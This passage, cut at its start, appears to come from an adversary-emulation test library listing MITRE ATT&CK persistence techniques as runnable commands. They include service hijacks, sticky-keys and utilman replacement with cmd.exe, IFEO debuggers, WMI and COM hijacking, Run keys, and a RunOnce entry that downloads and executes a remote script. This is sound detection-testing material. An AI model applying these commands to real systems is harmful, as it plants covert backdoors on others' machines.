echo ' ' >> /usr/local/etc/rc.d/art-test
echo '. /etc/rc.subr' >> /usr/local/etc/rc.d/art-test
echo ' ' >> /usr/local/etc/rc.d/art-test
echo 'name="art_test"' >> /usr/local/etc/rc.d/art-test
echo 'rcvar=art_test_enable' >> /usr/local/etc/rc.d/art-test
echo 'load_rc_config ${name}' >> /usr/local/etc/rc.d/art-test
echo 'command="/usr/bin/touch"' >> /usr/local/etc/rc.d/art-test
echo 'start_cmd="art_test_start"' >> /usr/local/etc/rc.d/art-test
echo '' >> /usr/local/etc/rc.d/art-test
echo 'art_test_start()' >> /usr/local/etc/rc.d/art-test
echo '{' >> /usr/local/etc/rc.d/art-test
echo ' ${command} /tmp/art-test.marker' >> /usr/local/etc/rc.d/art-test
echo '}' >> /usr/local/etc/rc.d/art-test
echo ' ' >> /usr/local/etc/rc.d/art-test
echo 'run_rc_command "$1"' >> /usr/local/etc/rc.d/art-test
chmod +x /usr/local/etc/rc.d/art-test
service art-test enable
service art-test start

T1543.002 - Create or Modify System Process: SysV/Systemd Service

Create Systemd Service file, Enable the service , Modify and Reload the service.

echo "#!/bin/bash" > /etc/init.d/T1543.002
echo "### BEGIN INIT INFO" >> /etc/init.d/T1543.002
echo "# Provides : Atomic Test T1543.002" >> /etc/init.d/T1543.002
echo "# Required-Start: \$all" >> /etc/init.d/T1543.002
echo "# Required-Stop : " >> /etc/init.d/T1543.002
echo "# Default-Start: 2 3 4 5" >> /etc/init.d/T1543.002
echo "# Default-Stop: " >> /etc/init.d/T1543.002
echo "# Short Description: Atomic Test for Systemd Service Creation" >> /etc/init.d/T1543.002
echo "### END INIT INFO" >> /etc/init.d/T1543.002
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK')) \" " >> /etc/init.d/T1543.002
chmod +x /etc/init.d/T1543.002
if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002 defaults; elif [ $(cat /etc/os-release | grep -i 'ID="centos"') ]; then chkconfig T1543.002 on ; else echo "Please run this test on Ubnutu , kali OR centos" ; fi
systemctl enable T1543.002
systemctl start T1543.002
echo "python3 -c \"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\"" | sudo tee -a /etc/init.d/T1543.002
systemctl daemon-reload
systemctl restart T1543.002

T1543.003 - Create or Modify System Process: Windows Service

Modify Fax service to run PowerShell

sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Fax

T1543.003 - Create or Modify System Process: Windows Service

Service Installation CMD

sc.exe create AtomicTestService_CMD binPath= "T1543.003\bin\AtomicService.exe" start=auto type=Own
sc.exe start AtomicTestService_CMD

T1543.003 - Create or Modify System Process: Windows Service

Service Installation PowerShell

New-Service -Name "AtomicTestService_PowerShell" -BinaryPathName "T1543.003\bin\AtomicService.exe"
Start-Service -Name "AtomicTestService_PowerShell"

T1543.003 - Create or Modify System Process: Windows Service

TinyTurla backdoor service w64time

copy "$T1543.003\bin\w64time.dll" %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start=auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
sc start W64Time

T1543.003 - Create or Modify System Process: Windows Service

Remote Service Installation CMD

sc.exe \\localhost create AtomicTestService_CMD binPath= "T1543.003\bin\AtomicService.exe" start=auto type=Own
sc.exe \\localhost start AtomicTestService_CMD

T1543.003 - Create or Modify System Process: Windows Service

Modify Service to Run Arbitrary Binary (Powershell)

Stop-Service -Name "fax" -force -erroraction silentlycontinue | Out-Null
set-servicebinarypath -name "fax" -path "$env:windir\system32\notepad.exe"
start-service -Name "fax" -erroraction silentlycontinue | out-null

T1543.004 - Create or Modify System Process: Launch Daemon

Launch Daemon

sudo cp $T1543.004/src/atomicredteam_T1543_004.plist /Library/LaunchDaemons/com.atomicredteam.plist
sudo launchctl load -w /Library/LaunchDaemons/com.atomicredteam.plist

T1546.001 - Event Triggered Execution: Change Default File Association

Change Default File Association

assoc .hta=txtfile

T1546.002 - Event Triggered Execution: Screensaver

Set Arbitrary Binary as Screensaver

reg export "HKEY_CURRENT_USER\Control Panel\Desktop" %userprofile%\backup.reg
copy C:\Windows\System32\cmd.exe "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoot%\System32\evilscreensaver.scr" /f
if 0 NEQ 0 shutdown /r /t 0

T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription

Persistence via WMI Event Subscription - CommandLineEventConsumer

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
EventNameSpace='root\CimV2';
QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription

Persistence via WMI Event Subscription - ActiveScriptEventConsumer

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
EventNameSpace='root\CimV2';
QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
ScriptingEngine='VBScript';
ScriptText='
Set objws = CreateObject("Wscript.Shell")
objws.Run "notepad.exe", 0, True
'}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs

T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription

Windows MOFComp.exe Load MOF File

c:\windows\system32\wbem\mofcomp.exe "T1546.003\src\T1546.003.mof"

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

Add command to .bash_profile

echo 'echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004' >> ~/.bash_profile

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

Add command to .bashrc

echo 'echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004' >> ~/.bashrc

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

Add command to .shrc

echo 'echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004' >> ~/.shrc

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

Append to the system shell profile

echo '# Hello from Atomic Red Team T1546.004' >> /etc/profile

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

Append commands user shell profile

echo '# Atomic Red Team was here... T1546.004' >> ~/.profile

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

System shell profile scripts

echo '# Atomic Red Team was here... T1546.004' >> /etc/profile.d/bash_completion.sh

T1546.004 - Event Triggered Execution: .bash_profile .bashrc and .shrc

Create/Append to .bash_logout

useradd --create-home --shell /bin/bash art
su -l art -c "echo 'echo \"Atomic Red Team was here... T1546.004\" >> /home/art/art.txt' >> /home/art/.bash_logout; exit"

T1546.005 - Event Triggered Execution: Trap

Trap EXIT

bash -c 'trap "nohup sh $T1546.005/src/echo-art-fish.sh" EXIT'

T1546.005 - Event Triggered Execution: Trap

Trap EXIT (freebsd)

bash -c 'trap "nohup sh $T1546.005/src/echo-art-fish.sh" EXIT'

T1546.005 - Event Triggered Execution: Trap

Trap SIGINT

bash -c 'trap "nohup sh $T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'

T1546.005 - Event Triggered Execution: Trap

Trap SIGINT (freebsd)

bash -c 'trap "nohup sh $T1546.005/src/echo-art-fish.sh" SIGINT && kill -SIGINT $$'

T1546.007 - Event Triggered Execution: Netsh Helper DLL

Netsh Helper DLL Registration

netsh.exe add helper "T1546.007\bin\NetshHelper.dll"
taskkill /im notepad.exe /t /f > NUL 2>&1

T1546.008 - Event Triggered Execution: Accessibility Features

Attaches Command Prompt as a Debugger to a List of Target Processes

$input_table = "osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe".split(",")
$Name = "Debugger"
$Value = "C:\windows\system32\cmd.exe"
Foreach ($item in $input_table){
$item = $item.trim()
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
IF(!(Test-Path $registryPath))
{
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force
}
ELSE
{
New-ItemProperty -Path $registryPath -Name $name -Value $Value
}
}

T1546.008 - Event Triggered Execution: Accessibility Features

Replace binary of sticky keys

IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

T1546.008 - Event Triggered Execution: Accessibility Features

Create Symbolic Link From osk.exe to cmd.exe

IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd )
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe

T1546.008 - Event Triggered Execution: Accessibility Features

Atbroker.exe (AT) Executes Arbitrary Command via Registry Key

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
atbroker /start malware_test

T1546.008 - Event Triggered Execution: Accessibility Features

Auto-start application on user logon

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f

T1546.008 - Event Triggered Execution: Accessibility Features

Replace utilman.exe (Ease of Access Binary) with cmd.exe

IF NOT EXIST C:\Windows\System32\utilman_backup.exe (copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\utilman.exe /A
icacls C:\Windows\System32\utilman.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

T1546.008 - Event Triggered Execution: Accessibility Features

Replace Magnify.exe (Magnifier binary) with cmd.exe

IF NOT EXIST C:\Windows\System32\Magnify_backup.exe (copy C:\Windows\System32\Magnify.exe C:\Windows\System32\Magnify_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\Magnify.exe /A
icacls C:\Windows\System32\Magnify.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Magnify.exe

T1546.008 - Event Triggered Execution: Accessibility Features

Replace Narrator.exe (Narrator binary) with cmd.exe

IF NOT EXIST C:\Windows\System32\Narrator_backup.exe (copy C:\Windows\System32\Narrator.exe C:\Windows\System32\Narrator_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\Narrator.exe /A
icacls C:\Windows\System32\Narrator.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Narrator.exe

T1546.008 - Event Triggered Execution: Accessibility Features

Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe

IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe

T1546.008 - Event Triggered Execution: Accessibility Features

Replace AtBroker.exe (App Switcher binary) with cmd.exe

IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe

T1546.009 - Event Triggered Execution: AppCert DLLs

Create registry persistence via AppCert DLL

Copy-Item "T1546.009\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll -Force
reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /t REG_EXPAND_SZ /d "C:\Users\Public\AtomicTest.dll" /f
if($false){Restart-Computer}

T1546.010 - Event Triggered Execution: AppInit DLLs

Install AppInit Shim

reg.exe import "T1546.010\src\T1546.010.reg"

T1546.011 - Event Triggered Execution: Application Shimming

Application Shim Installation

sdbinst.exe "T1546.011\bin\AtomicShimx86.sdb"

T1546.011 - Event Triggered Execution: Application Shimming

New shim database files created in the default shim database directory

Copy-Item "$T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\T1546.011CompatDatabase.sdb
Copy-Item "$T1546.011\bin\T1546.011CompatDatabase.sdb" C:\Windows\apppatch\Custom\Custom64\T1546.011CompatDatabase.sdb

T1546.011 - Event Triggered Execution: Application Shimming

Registry key creation and/or modification events for SDB

New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"
New-ItemProperty -Path HKLM:"\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB" -Name "AtomicRedTeamT1546.011" -Value "AtomicRedTeamT1546.011"

T1546.012 - Event Triggered Execution: Image File Execution Options Injection

IFEO Add Debugger

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /d "C:\Windows\System32\cmd.exe"

T1546.012 - Event Triggered Execution: Image File Execution Options Injection

IFEO Global Flags

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Windows\System32\cmd.exe"

T1546.012 - Event Triggered Execution: Image File Execution Options Injection

GlobalFlags in Image File Execution Options

$Name = "GlobalFlag"
$Value = "512"
$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whoami.exe"
New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force
$Name = "ReportingMode"
$Value = "1"
$SilentProcessExit = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\whoami.exe"
New-Item -Path $SilentProcessExit -Force
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force

$Name = "MonitorProcess"
$Value = "cmd.exe /c calc.exe"
New-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force
Start-Process whoami.exe

T1546.013 - Event Triggered Execution: PowerShell Profile

Append malicious start-process cmdlet

Add-Content $profile -Value ""
Add-Content $profile -Value "Start-Process calc.exe"
powershell -Command exit

T1546.014 - Event Triggered Execution: Emond

Persistance with Event Monitor - emond

sudo cp "T1546.014/src/T1546.014_emond.plist" /etc/emond.d/rules/T1546.014_emond.plist
sudo touch /private/var/db/emondClients/T1546.014

T1546.015 - Event Triggered Execution: Component Object Model Hijacking

COM Hijacking - InprocServer32

New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32' -Value "..\ExternalPayloads\AtomicTest.dll"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32' -Name 'ThreadingModel' -Value 'Apartment' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'

T1546.015 - Event Triggered Execution: Component Object Model Hijacking

Powershell Execute COM Object

$o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
$item = $o.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)

T1546.015 - Event Triggered Execution: Component Object Model Hijacking

COM Hijacking with RunDLL32 (Local Server Switch)

New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}' -Value 'MSAA AccPropServices'
New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32' -Value "..\ExternalPayloads\T1546.015_calc.dll"
New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}\InprocServer32' -Name 'ThreadingModel' -Value 'Both' -PropertyType "String"
Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver {B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'

T1546.015 - Event Triggered Execution: Component Object Model Hijacking

COM hijacking via TreatAs

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicTest.1.00\CLSID" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /ve /T REG_SZ /d "C:\WINDOWS\system32\scrobj.dll" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\InprocServer32" /v "ThreadingModel" /T REG_SZ /d "Apartment" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ProgID" /ve /T REG_SZ /d "AtomicTest" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL" /ve /T REG_SZ /d "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID" /ve /T REG_SZ /d "AtomicTest" /f

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}" /f
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /T REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /f

rundll32.exe -sta "AtomicTest"

T1546 - Event Triggered Execution

Persistence with Custom AutodialDLL

Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value T1546\bin\AltWinSock2DLL.dll

T1546 - Event Triggered Execution

HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)

New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "notepad.exe" -PropertyType "String"

T1546 - Event Triggered Execution

HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)

$path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "notepad.exe" -PropertyType "String"

T1546 - Event Triggered Execution

WMI Invoke-CimMethod Start Process

# Set the remote computer name and credentials
$RemoteComputer = "localhost"
$PWord = ConvertTo-SecureString -String "P@ssword1" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "Administrator", $Pword

# Create a CIM session
$CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential

# Define the process you want to start
$ProcessToStart = "calc.exe"

# Invoke the Create method on the Win32_Process class to start the process
$Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}

# Check the result
if ($Result.ReturnValue -eq 0) {
Write-Host "Process started successfully with Process ID: $($Result.ProcessId)"
} else {
Write-Host "Failed to start the process. Error code: $($Result.ReturnValue)"
}

# Clean up the CIM session
Remove-CimSession -CimSession $CimSession

T1546 - Event Triggered Execution

Adding custom debugger for Windows Error Reporting

reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f

T1546 - Event Triggered Execution

Load custom DLL on mstsc execution

reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f

T1546 - Event Triggered Execution

Persistence using automatic execution of custom DLL during RDP session

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f

T1546 - Event Triggered Execution

Persistence via ErrorHandler.cmd script execution

Copy-Item -Path T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd
C:\windows\System32\oobe\Setup

T1546 - Event Triggered Execution

Persistence using STARTUP-PATH in MS-WORD

reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Reg Key Run

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Atomic Red Team" /t REG_SZ /F /D "C:\Path\AtomicRedTeam.exe"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Reg Key RunOnce

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\Path\AtomicRedTeam.dll"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

PowerShell Registry RunOnce

$RunOnceKey = "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce"
set-itemproperty $RunOnceKey "NextRun" 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(`"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`")"'

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Suspicious vbs file run from startup Folder

Copy-Item "$T1547.001\src\vbsstartup.vbs" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
Copy-Item "$T1547.001\src\vbsstartup.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"
cscript.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"
cscript.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Suspicious jse file run from startup Folder

Copy-Item "$T1547.001\src\jsestartup.jse" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
Copy-Item "$T1547.001\src\jsestartup.jse" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"
cscript.exe /E:Jscript "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"
cscript.exe /E:Jscript "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Suspicious bat file run from startup Folder

Copy-Item "$T1547.001\src\batstartup.bat" "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Copy-Item "$T1547.001\src\batstartup.bat" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"
Start-Process "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"
Start-Process "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Add Executable Shortcut Link to User Startup Folder

$Target = "C:\Windows\System32\calc.exe"
$ShortcutLocation = "$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"
$WScriptShell = New-Object -ComObject WScript.Shell
$Create = $WScriptShell.CreateShortcut($ShortcutLocation)
$Create.TargetPath = $Target
$Create.Save()

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

Add persistance via Recycle bin

reg ADD "HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command" /ve /d "calc.exe" /f

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

SystemBC Malware-as-a-Service Registry

$RunKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $RunKey -Name "socks5_powershell" -Value "powershell.exe -windowstyle hidden -ExecutionPolicy Bypass -File"

T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

